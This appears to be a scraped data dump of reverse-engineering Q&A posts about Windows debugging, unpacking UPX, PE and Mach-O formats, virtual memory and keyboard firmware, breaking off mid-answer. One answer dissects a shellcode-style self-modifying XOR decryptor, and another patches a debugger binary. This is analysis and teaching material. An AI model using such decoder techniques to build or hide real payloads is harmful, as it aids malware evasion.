typedef DWORD (__stdcall *LPTHREAD_START_ROUTINE) (\n  [in] LPVOID lpThreadParameter\n);\n
\n\n

That would mean that the 4th parameter lpThreadParameter is a parameter of this. \nBut how can I integrate that information into my pseudo C code program ?\nI am little bit confused about that. Can someone explain it to me? The other attributes/parameters are clear....

\n", "Title": "How to understand the \"lpStartAddress\"-Parameter of the function CreateThread", "Tags": "|assembly|c|", "Answer": "

In C pseudocode let's say you have a function called doJob. You want to create a thread to executes it.

\n\n
DWORD WINAPI doJob(LPVOID lpParameter){\n    // Do some work. You can only pass one parameter.\n    // If you need more parameters, define a structure\n    // and send it though it's pointer.\n    return statuscode;\n}\n\nHandle hThread = \n   CreateThread(&attributes,dwStackSize,&doJob,&paramstruct,flags,&newThreadIdBuffer);\n
\n\n

Or in asm (nasm syntax, if I still remember it):

\n\n
lea eax, newThreadIdBuffer\npush eax\npush 0 ; or 4 or 0x00010000 or 0x00010004\nlea eax, paramstruct\npush eax\nlea eax, doJob\npush eax\npush dwStackSize ; 0 will use default\nlea eax, attributes\npush eax\ncall CreateThread\n
\n\n

This can be done cleaner, but I believe it demonstrates the concept.

\n" }, { "Id": "5881", "CreationDate": "2014-07-16T23:40:44.830", "Body": "

I have been looking all around for an answer to this, so I am hoping I find an answer here.

\n\n

I am working in Ollydbg 2.1 and every time I patch an exe it makes a foo.bak (backup) which is ok. However, I must reload the program to make more patches and often I am making multiple patches in multiple stubs at a time. Olly wont allow me to patch multiple times unless I rename the file cause there is a .bak already there and it wont over write that. I keep all my own backups so I am wondering.

\n\n

1 Is there a way to have olly not make backups?
\n2 Is there a way to have olly allow forover writing the .bak files or some way to have multiple saves in a session?

\n\n

Please let me know .

\n\n

Thanks!

\n", "Title": "Ollydbg 2.1 Allow for multiple saves or not make backups", "Tags": "|ollydbg|patching|", "Answer": "

Here is a hack for now... I think it would be better to not allow for it to make backups... Which I can do but for now this will just allow the changes to take place and JMP over the error sequence.

\n\n

The Origional

\n\n
OFFSET 004BDBF7 :JNZ SHORT 004BDC1B\n
\n\n

Change to:

\n\n
JMP 004BDC1B \n
\n\n

I almost feel bad for this cause there is has to be an option somewhere that I am not seeing. Not to mention the whole inception feeling of debugging a debugger running another process. 0.o...

\n" }, { "Id": "5889", "CreationDate": "2014-07-18T07:34:41.780", "Body": "

Since I love to play with the WinAPI or debugging in general, I decided to write a small unpacker for the open source PE executable packer UPX today (Windows version).

\n\n

In order to accomplish this, I proceeded as follow:

\n\n\n\n

After reaching the OEP, I proceed as follows in order to dump the process:

\n\n\n\n

After creating the dump with fixed OEP & RAW offsets/sizes for the sections, I fix the dump with ImpREC (right now manually, but I plan to use ImpREC.dll or the ImpREC lite source in order to assemble everything in one tool at a later point).

\n\n

The thing that confuses me though, is the fact, that the resulting binaries worked perfectly fine (exact match with the MUP) for one test case (a small hello world fasm application) and my dump file was exactly the same I had received through OllyDump, but when I tried to do the same unpacking with an UPX packed version of putty.exe, my dumped memory varied from the one OllyDump had dumped starting at RAW offset 0x73970 (exact match before that address).

\n\n

However - the file size is again the same one (and all bytes before that offset match), just after that certain address the bytes magically won't match anymore (they are still non-zero though).

\n\n

I studied the source code in OllyDump.c thoroughly regarding this difference, but as for now I didn't find my mistake... In some cases my dumps are equal to the ones generated by OllyDump and in some they aren't. Or is the mistake probably in my approach already?

\n\n

Note: Source code omitted on purpose, since it's a few hundred lines long and super messy as for now. Can/will add further details if required or if I missed something, please just let me know in the comments.

\n", "Title": "An issue when unpacking UPX", "Tags": "|unpacking|dumping|upx|", "Answer": "

Hard to tell what the reason for the differences might be without actually seeing the differences, but one guess is that you're doing ReadProcessMemory(hProcess, header32.ImageBase, buffer, header32.SizeOfImage, bytes_read), while the other tool may be doing foreach(section) {ReadProcessMemory(hProcess, header32.ImageBase + section.RVA, buffer, section.VirtualSize, bytes_read)}; this may cause the \"caves\" between sections to differ.

\n\n

(BTW, I assume your header32.ImageBase is the actual base address of the module in memory, not just the image base address from the PE headers, since ASLR could relocate it at runtime.)

\n" }, { "Id": "5890", "CreationDate": "2014-07-18T08:32:42.497", "Body": "

I compiled the following C++ code with MinGW and opened it in OllyDbg 2.01. And the program stops at the following lines:

\n\n
CPU Disasm\nAddress   Hex dump          Command                                  Comments\n00401570  /$  83EC 1C       SUB ESP,1C\n00401573  |.  C70424 010000 MOV DWORD PTR SS:[LOCAL.6],1\n0040157A  |.  FF15 68814000 CALL DWORD PTR DS:[<&msvcrt.__set_app_ty\n00401580  \\.  E8 FBFBFFFF   CALL 00401180\n\n\nNames in Project1, item 20\n  Address = 00401570\n  Section = .text\n  Type = Export\n  Ordinal =\n  Name = <ModuleEntryPoint>\n  Comments =\n
\n\n

However, this is not what I want. I prefer when OllyDbg stop at the following lines:

\n\n
CPU Disasm\nAddress   Hex dump          Command                                  Comments\n004016B0  /$  55            PUSH EBP                                 ; Project1.004016B0(guessed void)\n004016B1  |.  89E5          MOV EBP,ESP\n004016B3  |.  83E4 F0       AND ESP,FFFFFFF0                         ; DQWORD (16.-byte) stack alignment\n004016B6  |.  83EC 10       SUB ESP,10\n004016B9  |.  E8 A2050000   CALL 00401C60\n004016BE  |.  C70424 645040 MOV DWORD PTR SS:[LOCAL.4],OFFSET 004050 ; /format => \"Hello World!\"\n004016C5  |.  E8 9E1F0000   CALL <JMP.&msvcrt.printf>                ; \\MSVCRT.printf\n004016CA  |.  B8 00000000   MOV EAX,0\n004016CF  |.  C9            LEAVE\n004016D0  \\.  C3            RETN\n
\n\n

Is that a bug? Why did MinGW set SUB ESP, 1C as the entrypoint? Can I set Ollydbg to start at the correct entrypoint?

\n", "Title": "Why did the program entry point become 'sub esp, 1C'?", "Tags": "|ollydbg|debugging|c++|", "Answer": "

No, this is not a bug. Likely this is because you confuse the executable's entry point address (where Olly breaks) with the address of your main() function (where you expect it to break). You should locate your main() and set a breakpoint there manually instead.

\n\n

There is a lot going on behind the scene before execution flow reaches main(). The code that gets control first is hidden within the C Run-Time (CRT) library provided by your compiler and is linked in automatically when you link your executable. This code (aptly named CRT startup) is responsible for setting up various things when a C program starts up, mainly, initializes all the internals of the C runtime (there is a lot of other stuff which I won't mention here), performs C++ static objects' constructor calls, and at the end calls your main(). So to get things going, the linker sets up the entry point to inside this startup machinery, which is exactly what we observe.

\n\n

Note: It is possible to strip all the CRT stuff from your executable at the expense of not having the C runtime library linked. Not sure whether this is what you would like to have.

\n" }, { "Id": "5896", "CreationDate": "2014-07-19T08:10:42.750", "Body": "

Immunity Debugger offers a feature called PyPlugin. However there is not enough documentation on it. The help for immdbg says this :

\n\n
\n

PyPlugins are python scripts located at PyPlugins\\ directory,\n PyPlugins are called when F4 or the PyPlugin icon located at the main\n toolbar are pressed. Both (F4 or the PyPlugin icon) will popup a file\n browse dialog, where the starting folder is the PyPlugin Directory.\n When a pyplugin is executed, its main() gets called. Please note a\n pyplugin can not receive any arguments and will not return any value\n other than inscreen errors.

\n
\n\n

In reality when the F4 key is pressed, nothing special happens. F4 is actually the shortcut to Run to selection. Further there is no PyPlugin icon located at the main toolbar. The PyPlugins directory under Immunity Debugger directory is also empty, so no examples to look.

\n\n

My question is what is a PyPlugin ? Are there any ready made PyPlugins to refer as an example ?

\n\n

Note : I am only talking about PyPlugins, not PyCommands

\n", "Title": "Immunity Debugger PyPlugin", "Tags": "|python|immunity-debugger|", "Answer": "

Going over

\n\n\n\n

I'm making and educated guess that PyPlugins is probably a leftover from previous versions of the debugger and at some point it became known as PyScripts.

\n\n

So, the actual examples and guidance could be found here

\n" }, { "Id": "5898", "CreationDate": "2014-07-19T21:18:41.363", "Body": "

My end goal here is to find the Mach-O header in a dylib file.

\n\n

Here's what I've come up with so far:

\n\n

All my dylib files have the following first four bytes: 0xcafebabe. Then after 4096 bytes the actual Mach-O header starts, followed by the usual commands and so on.

\n\n

But 0xcafebabe is also used to identify Java class files. So how do I distinguish between both of those based on the actual content? What are the fields after 0xcafebabe in a dylib file?

\n", "Title": "How are dylib files laid out", "Tags": "|disassembly|binary|", "Answer": "

Since a dylib file is just going to be a Mach-O file, you're going to need to understand the header format, which is laid out pretty well in the code itself. You can take a look at the Mach-O parsing functions on Apple's site

\n\n

http://www.opensource.apple.com/source/xar/xar-45/xar/lib/macho.c

\n\n

What you're seeing is that FAT Header part of the Mach-O file, which is telling you where to find the rest of the of the Mach-O file. This is used to have one file, with two separate architectures inside of it. The FAT header describes where the to find the rest of the data needed by the system running it.

\n\n

While doing some reversing and forensics work, I created a 010Editor template for parsing through Mach-O files - it might be useful in conjunction with the source from Apple for understanding what is coming after the 0xCAFEBABE and loading you're actual dylib files;

\n\n

https://github.com/strazzere/010Editor-stuff/blob/master/Templates/MachOTemplate.bt

\n" }, { "Id": "5899", "CreationDate": "2014-07-19T21:23:59.383", "Body": "

I'm using IDA Pro with the Hexrays decompiler.

\n\n

There is a function like this:

\n\n

\"Function

\n\n

That function assigns the result of sub_100033AE to dword_10005368. So to know what the DWORD is, I checked what does that sub_100033AE do, but surprise...

\n\n

\"Function

\n\n

Its assembly is:

\n\n

\"enter

\n\n

What I am wondering is: how is it just returning a call to new()? What is its purpose? What does it return?

\n", "Title": "Forwarded call to \"operator new()\" in IDA Pro", "Tags": "|ida|", "Answer": "

Maybe the decompiler failed to recognize a register argument to new(). new(n) usually takes a nr of bytes, and allocates memory.

\n\n

sub_100033ae just forwards the call to new.

\n" }, { "Id": "5901", "CreationDate": "2014-07-20T11:55:50.833", "Body": "

Can someone recommend a handy inexpensive USB programmer for SPANSION S25FL064P flash memory?

\n", "Title": "USB programmer for SPANSION S25FL064P flash memory", "Tags": "|hardware|linux|firmware|memory|", "Answer": "

You shoudl use an SPI flash parallel port programmer. It is a simple and very accurate programmer using a single 74ls244 ic.

\n\n

You can get it at: http://www.spiflash.org/

\n" }, { "Id": "5904", "CreationDate": "2014-07-20T14:40:57.810", "Body": "

In a disassembly with a call to a DirectDraw->BltFast function, I encountered the following:

\n\n
(*(void (__stdcall **)(LPDIRECTDRAWSURFACE7, _DWORD, _DWORD, _DWORD, _DWORD, signed int, int, int, int, int))\n((void (__stdcall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v17->lpVtbl + 7))(\nv17,\n0,\n0,\n*(&g_COREvidSurf + 25),\n0,\n16,\nv75,\nv77,\nv79,\nv81);\n
\n\n

The cast has too many arguments. How does one edit the call's cast to fix the disassembly ?

\n\n

EDIT:\nAfter applying a struct to the code:

\n\n
.text:00540825 030                 cmp     [esp+30h+arg_8], ecx\n.text:00540829 030                 mov     edx, g_COREvidSurf+64h\n.text:0054082F 030                 mov     eax, g_CoreVidsurf_6\n.text:00540834 030                 push    10h\n.text:00540836 034                 push    0\n.text:00540838 038                 push    edx\n.text:00540839 03C                 push    0\n.text:0054083B 040                 push    0\n.text:00540844 044                 mov     ecx, [eax]\n.text:00540846 044                 push    eax\n.text:00540847 048                 mov     eax,[ecx+IDirectDrawSurface7Vtbl.BltFast]\n.text:0054084A 048                 call    eax\n
\n\n

and the decompilation:

\n\n
v17.lpVtbl = (struct IDirectDrawSurface7::IDirectDrawSurface7Vtbl *)g_surface2;\n(*(void (__stdcall **)(struct IDirectDrawSurface7::IDirectDrawSurface7Vtbl *, _DWORD, _DWORD, _DWORD, _DWORD, signed int, int, int, int, int))(*(_DWORD *)v17.lpVtbl + offsetof(IDirectDrawSurface7Vtbl, BltFast)))(\nv17.lpVtbl,\n0,\n0,\n*(&g_COREvidSurf + 25),\n0,\n16,\nv75,\nv77,\nv79,\nv81);\n
\n\n

The struct used was selected from the standard struct selection in IDA, and if i press 'Y' on the declaration of BltFast in the struct declaration, the call is declared like this:

\n\n
HRESULT (__stdcall *BltFast)(IDirectDrawSurface7 *This, DWORD, DWORD, LPDIRECTDRAWSURFACE7, LPRECT, DWORD)\n
\n\n

which is correct, but as seen above, IDA is still showing too many args.

\n", "Title": "How to fix the type of a function pointer call in the Hex-Rays decompiler?", "Tags": "|ida|disassembly|", "Answer": "

I would define a vtable struct which has the correct function pointers in it. I assume this is an IDirectDrawSurfaceX? The variable named v17->lpVtbl needs to have a type of IDirectDrawSurfaceX *. Create this structure of function pointers according to the interface definition on MSDN or load it from a standard structures if IDA has imported the DirectX C interface definitions. Set the type of the v17->lpVtbl by pressing y on the definition of lpVtbl in whatever structure type v17 is. Then you may need to force the type of the function pointer call to the type of the interface member used in the vtable. You do this by right clicking the call site and choosing Force call type.

\n" }, { "Id": "5911", "CreationDate": "2014-07-22T02:08:12.817", "Body": "

While running notepad.exe in Ollydbg, I got the following execution trace:

\n\n
(CPU)\n...\n[0x00C73689] CALL notepad.0073053\n[0x00C7369E] PUSH 58\n...\n\n(Memory Map)    \nAddress    Size     Owner    Section  Contains      Type  Access   Initial  Mapped as\n...\n000FD000   00002000                                 Priv  RW       Guar     RW\n000FF000   00011000                   stack of mai  Priv  RW       Guar     RW\n...\n00A90000   00001000                                 Priv  RW                RW\n00C70000   00001000 notepad           PE header     Imag  R                 RWE\n00C71000   0000B000 notepad  .text    code,imports  Imag  R                 RWE\n...\n
\n\n

Under the virtual address system of windows operation system,

\n\n

Some address is not in the physical memory or RAM,

\n\n
    \n

  1. Who will translate CALL notepad.0073053 to CALL [Real address 0x??????]?

    2. \n

  2. When that address is file mapped, who will read that value from the disk in assembly language ?

    3. \n
\n", "Title": "Virtual address translation in assembly language", "Tags": "|disassembly|", "Answer": "

You're talking about memory virtualization, which, unless you're developing an operating system, is nothing you have to care about, since it's transparent to user processes.

\n\n

It's true that the address your program sees, notepad.0073053, is not the same as the one that is physically on the hardware address pins on the processor. But, when the processor executes the call instruction, it doesn't translate the destination address by some magic and puts this translated addres into the program counter - the program counter will. after the call, hold 0x007353.

\n\n

The virtualization is done in the memory management unit (MMU), which you can think of as a separate piece of hardware between the actual processor and the ram. (Of course, they are on the same chip in modern processors, but there used to be separate MMUs long ago). Think of it this way:

\n\n
+-----------------+           +----------------------+          +-----------------+\n| CPU             |           | MMU lookup table     |          | RAM             |\n+-----------------+           +----------------------+          +-----------------+\n| call 73053      |  73053    | virtual      | phys. | 63053    |00000            |\n| access 73053 on |---------->| 10000-20000  | a0000 |--------->|10000            |\n| the address bus |           | 40000-50000  | 30000 |          |20000            |\n+-----------------+           | 70000-80000  | 60000 |          |30000            |\n                              +----------------------+          |40000            |\n                                                                |50000            |\n                                                                |60000    X       |\n                                                                |70000            |\n                                                                |80000            |\n                                                                +-----------------+  \n
\n\n

The MMU contains a lookup table - which virtual address range maps to which physical addres range. Whenever the processor accesses memory, it tells the mmu which virtual address to access; the MMU uses its lookup table to determine the actual physical address, and that's what it puts on the address bus. But, the processor doesn't care about this translation. What you see in Ollydbg is always the virtual address, never the physical one.

\n\n

The MMU entries are handled inside the operating system, which may rearrange them as it sees fit. For example, the OS may decide to need the RAM block at 60000 for something else, copy the block at 60000 to, for example, 20000, and update the MMU table. Your program won't notice anything of that - it still accesses the same virtual memory location, which is now at a different place in physical memory.

\n\n
+-----------------+           +----------------------+          +-----------------+\n| CPU             |           | MMU lookup table     |          | RAM             |\n+-----------------+           +----------------------+          +-----------------+\n| call 73053      |  73053    | virtual      | phys. | 23053    |00000            |\n| access 73053 on |---------->| 10000-20000  | a0000 |--------->|10000            |\n| the address bus |           | 40000-50000  | 30000 |          |20000    X       |\n+-----------------+           | 70000-80000  | 20000 |          |30000            |\n                              +----------------------+          |40000            |\n                                                                |50000            |\n                                                                |60000            |\n                                                                |70000            |\n                                                                |80000            |\n                                                                +-----------------+  \n
\n\n

If the operating system decides to page out a memory block to disk, it will clear the corresponding MMU entry. Now, when the processor tries to access that virtual memory, the MMU will generate a page fault, which tells the processor it can't access the memory.

\n\n
+-----------------+           +----------------------+          +-----------------+\n| CPU             |           | MMU lookup table     |          | RAM             |\n+-----------------+  73053    +----------------------+          +-----------------+\n| call 73053      |---------->| virtual      | phys. |          |00000            |\n| access 73053 on |           | 10000-20000  | a0000 |          |10000            |\n| the address bus | fault!    | 40000-50000  | 30000 |          |20000            |\n+-----------------+<----------| 90000-a0000  | 40000 |          |30000            |\n                              +----------------------+          |40000            |\n                                                                |50000            |\n                                                                |60000            |\n                                                                |70000            |\n                                                                |80000            |\n                                                                +-----------------+\n
\n\n

This page fault will make the processor call the page fault handler within the operating system. The OS keeps a list of which pages it has written to disk, finds a memory location that's currently unused, reads the required page from disk to that location, updates the MMU accordingly, then returns to the user program and re-executes the instruction that generated the page fault. The user program won't know anything about that (unless it tries hard to find out, for example by measuring the real time needed and comparing that to the expected time). In Windows, perfmons Ram/Page faults per second counter will tell you how often that happened.

\n\n

(Actually, there are different kinds of page faults. Space in the MMU tables is quite limited, it normally doesn't map all of a user program's virtual addresses. When a page fault occurs, the OS first checks \"Is that block of memory in RAM somewhere, with only the MMU entry missing?\". If yes, the OS just generates the MMU entry and allows the program to continue. This is called a minor page fault, which is quite fast to handle; page faults that actually access the disk are called major page faults, and impact performance much more).

\n" }, { "Id": "5915", "CreationDate": "2014-07-22T11:57:49.877", "Body": "

My exact question sounds like: \nAre there any tools for automated resources extraction such as driver or executable to the ready-to-go .sys or .exe/.msi ?

\n\n

I googled several ways, but they haven't solved my problem.

\n\n\n\n

Any tips will be appreciated.

\n", "Title": "Extract driver from PE", "Tags": "|binary-analysis|pe|", "Answer": "
\n

pe-carv.py is script can be used to carve out portable executable\nfiles from a data stream.

\n
\n

http://hooked-on-mnemonics.blogspot.com/2013/01/pe-carvpy.html

\n
\n

It relies on pefile by Ero Carrera to parse the portable executable\nfile format and calculate the file size. Since the script relies on\nthe portable executable file format, data that is appended to the end\nof the file (overlay) will not be carved out.

\n

The algorithm of the\nscript is simple. Search for the strings of the MZ header in a data\nstream, if found read from the address to the end of the file, then\npass the buffer to pefile. If no exceptions are thrown by pefile then\nwe have a valid portable executable file. If an error occurs, search\nfor the next MZ header and then start the process again.

\n
\n" }, { "Id": "5916", "CreationDate": "2014-07-22T13:19:08.853", "Body": "

I see a lot of in and out instruction in IDA. I know what those are supposed to do, but I do not know how to treat them and I'm making no advancements in understanding the code.

\n\n

Short example:\nFirst instructions of my current assignment are:

\n\n
seg000:00000000                 mov     edx, 61666A1Fh\nseg000:00000005                 fincstp\nseg000:00000007                 fnstenv byte ptr [esp-0Ch]\nseg000:0000000B                 pop     esi             ; EIP\nseg000:0000000C                 sub     ecx, ecx\nseg000:0000000E                 mov     cl, 33h ; '3'\nseg000:00000010                 xor     [esi+12h], edx\nseg000:00000013                 add     edx, [esi+12h]  ; \nseg000:00000016                 xor     ecx, 0FFFFFF96h\nseg000:00000019                 test    [ecx+esi*8+957C08Fh], dl\nseg000:00000020                 push    eax             ; ??????\nseg000:00000021                 mov     bl, 0DEh ; '\u00a6'\nseg000:00000023                 in      al, dx\nseg000:00000024                 popa\nseg000:00000025                 loope   near ptr 0FFFFFFACh\n
\n\n

I'm a bit lost at 05h-0Bh as it's the first time I encounter FPU instructions, but I think that ESI should point to the where EIP is pointing to.

\n\n

My main question is regarding 23h.

\n\n
in al, dx\n
\n\n

Should load a in AL a byte from port 6A1Fh? Is this relevant in any way or is code like this supposed to make my work harder or hide something? Maybe it's encrypted and at some point some decrypting algorithm will kick in. Or maybe that shouldn't be viewed as code?

\n", "Title": "in / out instructions - how should I treat this?", "Tags": "|binary-analysis|", "Answer": "

This is self-modifying code. The garbage instructions that you see will be altered dynamically, this way:

\n\n
seg000:00000000                 mov     edx, 61666A1Fh\nseg000:00000005                 fincstp\nseg000:00000007                 fnstenv byte ptr [esp-0Ch]\nseg000:0000000B                 pop     esi             ; EIP\n
\n\n

Now esi points to the location of the fincstp instruction (00000005).

\n\n
seg000:0000000C                 sub     ecx, ecx\nseg000:0000000E                 mov     cl, 33h ; loop counter\nseg000:00000010                 xor     [esi+12h], edx\nseg000:00000013                 add     edx, [esi+12h]  ;sliding key\n
\n\n

esi+12 (00000017) is being altered, turning this:

\n\n
seg000:00000016                 xor     ecx, 0FFFFFF96h\nseg000:00000019                 test    [ecx+esi*8+957C08Fh], dl\n
\n\n

in to this:

\n\n
seg000:00000016                 sub     esi, 0FFFFFFFCh\nseg000:00000019                 loop    near ptr 00000010\n
\n\n

i.e. esi = esi + 4, now it's 00000009 (and, then, 0x0000000d, 0x00000011, ...), and the loop continues via the value in ecx.\nIt's a shellcode-style decryptor. More detailed descriptions of this technique can be found here and here.

\n" }, { "Id": "5923", "CreationDate": "2014-07-23T01:49:02.503", "Body": "

When I start notepad.exe with ollydbg in Windows XP, the initial register was esp:7FFC4 and ebp:7FFF0.

\n\n
stack\n\n...\n0007FFC4  7C817067  kernel32.7C817067 <--- ESP\n0007FFC8  7C940208  ntdll.7C940208\n0007FFCC  FFFFFFFF\n0007FFD0  7FFDB000\n0007FFD4  80546BFD\n0007FFD8  0007FFC8\n0007FFDC  81D22DA8\n0007FFE0  FFFFFFFF                    <--- EBP\n0007FFE4  7C839AC0  kernel32.7C839AC0\n0007FFE8  7C817070  kernel32.7C817070\n0007FFEC  00000000\n0007FFF0  00000000\n0007FFF4  00000000\n0007FFF8  0100739D notepad.<ModuleEntryPoint>\n0007FFFC  00000000\n...\n
\n\n

I first guessed the initial stack was empty,\nbut by the process argument (e.g., argc, argv), I thought it can have some values.

\n\n
    \n
  1. what is meaning of the initial stack between EBP and ESP?
    2. \n
  2. the stack ESP can be lower than 7FFE0 (over than as value) while notepad.exe is running ? In other words, can esp point at 0007FFF8?
    3. \n
\n", "Title": "Who does construct the stack on process creation in Windows?", "Tags": "|windows|x86|stack-variables|", "Answer": "

RtlCreateUserStack() creates the stack on thread creation (And every process has the main thread). Or more generally: The Windows PE loader. \nWhat is the PE loader? That thing that creates a process out of an executable file on disk (or adds that executable file to a process in case of DLLs)

\n\n

Your other question is why, by the time Olly breaks, there already are values on the stack.
\nThat is because your main() entrypoint is not the first thing that will be executed in the process. Before main() there is a lot of internal CRT setup, maybe even setting up global classes, ...

\n\n

But even before any code of your executable is executed the DLLs still need to do some initalization of their own.

\n\n

As you use OllyDbg, go to Options->Debugging->Start and play around with that to get a feeling about what needs to be done before your code runs.

\n" }, { "Id": "5926", "CreationDate": "2014-07-23T10:24:35.413", "Body": "

I've heard of tools that could be used to graph entropy of a file. Is there a graphical Linux program that I could use for this job that would let me conveniently explore which blocks of a file have certain entropy patterns that could suggest compressed or encrypted data?

\n", "Title": "What Linux software can I use to explore entropy of a file?", "Tags": "|binary-analysis|", "Answer": "

Use ent: https://www.fourmilab.ch/random/ to run statistical tests checking for randomness.

\n
$ cat 1-gb-file.img | ent\nEntropy = 7.999998 bits per byte.\n\nOptimum compression would reduce the size\nof this 100000000 byte file by 0 percent.\n\nChi square distribution for 100000000 samples is 249.38, and randomly\nwould exceed this value 58.75 percent of the times.\n\nArithmetic mean value of data bytes is 127.4928 (127.5 = random).\nMonte Carlo value for Pi is 3.141514686 (error 0.00 percent).\nSerial correlation coefficient is -0.000094 (totally uncorrelated = 0.0).\n
\n" }, { "Id": "5930", "CreationDate": "2014-07-24T10:39:50.080", "Body": "

I have noticed many times whilst disassembling executables that often the compiler will produce jumps to other unconditional jumps, rather than simply jumping to the final destination. For example:

\n\n

\"enter

\n\n

Notice instead of jmp 0x100001634 it would have written jmp 0x100001681 and skipped the two other jumps in between. Is there a particular reason for not doing so?

\n", "Title": "Why jump to unconditional jumps?", "Tags": "|disassembly|assembly|compilers|", "Answer": "

In addition to what others have already mentioned with respect to Compiler Optimizations, there is another possibility. At times, malwares can perform control flow obfuscations by making use of a lot of opaque predicates (in this case, unconditional jumps).

\n\n

In fact, if you perform an instruction trace using a pintool (DBI) on a malware, at times you will observe a lot of jmp instructions executed in sequence. You can observe these type of subroutines in malwares which make use of polymorphic engines. It can help deter reverse engineering as it alters the control flow while stepping through the code.

\n" }, { "Id": "5931", "CreationDate": "2014-07-24T11:15:50.213", "Body": "

I overcame recent issues with a redefinition and finished my Plugin.

\n\n

In short this plugin uses Hex-Rays Decompiler to decompile a given file, analyzes properties of the pseudocode and then appends the results to a .csv

\n\n

Now I tried to use this in batch mode, but was stumped as the following happened:

\n\n

Cmd input to call IDA:

\n\n
idaw -A -c -Srecompile.idc input_file\n
\n\n

The recompile.idc file:

\n\n
#include <idc.idc>\nstatic main() {\nWait();\nMessage(\"Hello world from IDC!\\n\");\nRunPlugin(\"REcompile vs Hexrays\",0); \n//Exit(0);\n}\n
\n\n

I obviously need to Wait() for Auto-Analysis. Exit() is commented since it's for use when this is all fixed.

\n\n

Now i do get the following output on execution:

\n\n
The initial autoanalysis has been finished.\nHello world from IDC!\n\nLoadLibrary(C:\\Program Files (x86)\\IDA\\plugins\\REcompile vs Hexrays.plw) error: Das angegebene Modul wurde nicht gefunden.\nC:\\Program Files (x86)\\IDA\\plugins\\REcompile vs Hexrays.plw: can't load file\nHex-Rays Decompiler plugin has been loaded (v1.6.0.111005)\nHex-rays version 1.6.0.111005 has been detected, REcompile vs Hexrays ready to use\n
\n\n

As you can see the script is executed before the plugins are loaded. I assume this is the reason why I get the LoadLibrary Error.

\n\n

If you have any other input or experience with plugin batch execution i'd be happy to hear from you.

\n\n

Greetings, \nViktor

\n", "Title": "Ida Plugin Batch analysis issue.", "Tags": "|ida|ida-plugin|idapro-sdk|", "Answer": "

Have you tried manually loading the Hex-Rays plugin before loading your plugin?

\n\n

For example:

\n\n
#include <idc.idc>\nstatic main() {\n    Wait();\n    Message(\"Hello world from IDC!\\n\");\n    RunPlugin(\"hexrays\",0);\n    RunPlugin(\"REcompile vs Hexrays\",0); \n    //Exit(0);\n}\n
\n" }, { "Id": "5935", "CreationDate": "2014-07-24T21:39:22.400", "Body": "

I have an old game that I am wanting to increase the resolution on. The problem is that the game is ancient and was written using DDRAW and GDI .A few things are weird with this application, First starting from the entry point all the program does is create the process. secondly all the other code is indeed executed just I can't break over it (Making reversing a very slow process).

\n\n

Has anyone tried to reverse a DDraw application?

\n\n

I so far, have it to where I have expanded the resolution in such, that the application is still showing the default resolution just pushed to the left top corner and everything is still the 640x480 and is surrounded by black BUT the cool thing is I can click out of the 640x480 in the black area and click on objects and move to them. Would anyone know how to possibly resolve this?

\n\n

Another thing, it doesn't seem to matter what kind of break point I set in this(outside of EP) area of code the program never breaks there. Is there something I am missing here?

\n\n

I can try to come up with a picture as an example if that would help ; if no one understands how I am describing resolution.

\n\n

Also, I only see a call for DirectDrawCreate and it looks like it would point to an object or window but I cant tell entirely cause I cant break here.

\n", "Title": "Reversing DDRAW application", "Tags": "|windows|ollydbg|interoperability|", "Answer": "

DDRAW is an object based interface. DirectDrawCreate creates DDRAW interface object (based on GUID provided as paramter). Regarding black area, most probably rendering part uses internally smaller resolution. Could you share the game's name?

\n" }, { "Id": "5941", "CreationDate": "2014-07-26T18:15:54.497", "Body": "

Okay. So I've just come up with the most amazing program for java developers and reverse-engineerers and I was wondering if something like the following program already exists:

\n\n

What I'm thinking of is like a middle-ground between something like DirtyJOE and a Java Decompiler.

\n\n

I already know that:

\n\n\n\n

So is there some sort of program that can show me a decompiled class and allow me to manipulate/inject into different parts of it individually?

\n\n

For example, I would like replace one method with my own or change a field's access within a compiled class file.

\n\n

So basically I'm looking for a frontend for ASM built with an interface based on decompiled source code.

\n\n

Does this exist? If not, what's the closest thing I'm going to get to it?

\n", "Title": "GUI for transforming Java Bytecode based on decompiled source?", "Tags": "|disassembly|decompilation|java|byte-code|jar|", "Answer": "

You can try using javasnoop (https://code.google.com/p/javasnoop/) to accomplish something similar.

\n\n

Here's a tutorial for using it -

\n\n

http://resources.infosecinstitute.com/hacking-java-applications-using-javasnoop/

\n" }, { "Id": "5945", "CreationDate": "2014-07-27T19:00:28.643", "Body": "

I'm planning to buy my first mechanical keyboard, a KBT Poker II, and apart from the physical characteristics of it, another thing that caught my attention is that it sports reflashable firmware! Reversing and hacking on the firmware would be a fun personal project. (Unfortunately, the flasher is windows-only... I'm not sure how to deal with that, but that's another question.)

\n\n

Sadly though, when I tried poking around with the firmware files I couldn't make sense of it--I tried running a few Thumb disassemblers (as well as hacking up my own to learn more about Thumb) on parts of it that would seem to contain code (upon hexdump inspection), but they all came up with garbage instruction as far as a I could tell--certainly no function prologues/epilogues, and a lot of crazy immediates all over the place as well as absurd amounts of shifts and LDMs.

\n\n

Some technical information on the hardware inside the keyboard: it's built around a Nuvoton NUC122SC1AN, which features a Cortex-M0 CPU. The firmware files in question are supplied in an attachment to this forum post (by the keyboard manufacturer).

\n\n

What I have found, however, is the interrupt table located at $0000--its length exactly matches that of the one documented on ARM's website, including IRQs 0..31. However, another oddity here is that they all point to interrupts in the high memory--$ffff_fff00 and such. This area isn't included in the memory map of the NUC122, and ARM's spec has it as \"reserved\", but I'm guessing it might be mapped to some internal memory containing the chip-flashing-receiving code and such, and that the interrupts either trampoline to user (firmware) code or the table gets overwritten with interrupt handlers supplied by the firmware. Anyway, I'd probably be able to figure that out once I have some code to look at.

\n\n

I've tried binwalking the files, and it came up empty for all of them.

\n\n

To be clear, what I'm looking for in an answer here is guidance to where I find the actual executable code in one of the firmware files above (supplied by the manufacturer itself, so there should be no legal isues here), because I'm really not getting it. I should add that I'm relatively new to the world of reversing. Thanks!

\n", "Title": "Finding the actual Thumb code in firmware", "Tags": "|disassembly|binary-analysis|firmware|", "Answer": "

I downloaded the archive you referenced and the first thing I noticed was that the firmware files are very heavy in the 0x80 - 0xff range. Inverting each byte resulted in a much nicer byte distribution and looked like it had some structure but still not quite right. I assume that since they went as far as inverting the bytes, they might have done some bit-manipulation such as XOR.

\n\n

Since this file is a firmware update, there is usually a header or a footer. It looks like there is a header of offsets or something, but nothing made sense. Scrolling further through the file, around byte 35000, there appears to be a block of structured data, followed by a block of 0xff and then a 16-byte \"footer\":

\n\n
